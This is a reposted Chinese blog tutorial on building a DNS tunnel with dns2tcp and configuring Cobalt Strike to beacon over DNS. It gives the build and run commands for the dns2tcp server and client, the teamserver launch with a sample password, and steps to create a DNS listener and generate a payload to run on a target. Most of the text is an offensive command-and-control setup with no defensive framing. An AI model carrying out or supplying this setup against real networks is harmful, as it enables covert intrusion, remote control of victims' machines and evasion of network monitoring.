DNS隧道实战&&cobaltstrike利用dns隧道

前言

使用 dns 隧道进行 tcp 通信。

正文

首先配置域名

006daSSqgy1fyhypz0oe8j30rz085mxe.jpg

配置一个 A 记录指向我们的 vps, 然后配置几个 ns 记录,指向刚刚设置的 A 记录

然后在服务端安装

wget https://launchpad.net/ubuntu/+archive/primary/+files/dns2tcp_0.5.2.orig.tar.gz
tar xvf dns2tcp_0.5.2.orig.tar.gz 
cd dns2tcp-0.5.2/
./configure 
make
sudo make install

新建一个配置文件

006daSSqgy1fyhyq5t5h8j30kg04cjrd.jpg

然后

dns2tcpd -f my.conf -F -d 2

接着在客户端 也安装好。

dns2tcpc -r socks -z ns10.hac425.top vps_ip -l 8888 -d 2

然后访问 B:8888 ---> vps_ip:1082

cobaltstrike

把下好的 cobaltstrike 传到 vps, 装好 jdk, 运行 ./teamserver vps_ip password

006daSSqgy1fyhyqebga5j30rh06sjs1.jpg

然后本地运行 cobaltstrike.jar, 连接上去,用户名随便写,密码就是运行 teamserver 设置的 password, 在这里就是 1234

006daSSqgy1fyhyqkcyswj30dc077mxd.jpg

首先新建一个 listener

006daSSqgy1fyhyqx1zzhj309d06t3yk.jpg

host就是 vpsip

006daSSqgy1fyhyr3dopwj30c5052wem.jpg

填写设置好 ns 记录的 域名,以 ,  分割

然后新建 payload

006daSSqgy1fyhyrgjmmnj30hj08wjrw.jpg

006daSSqgy1fyhyrmpxk4j30ai070wer.jpg

生成文件,运行,过一会儿应该就有了。

006daSSqgy1fyhyrtateyj30s4041mx0.jpg

此时还得等一会( dns 比较慢)

006daSSqgy1fyhyrzdannj30tm0htgml.jpg

变成这个样子就可以进行操作了。

转载于:https://www.cnblogs.com/hac425/p/9416926.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值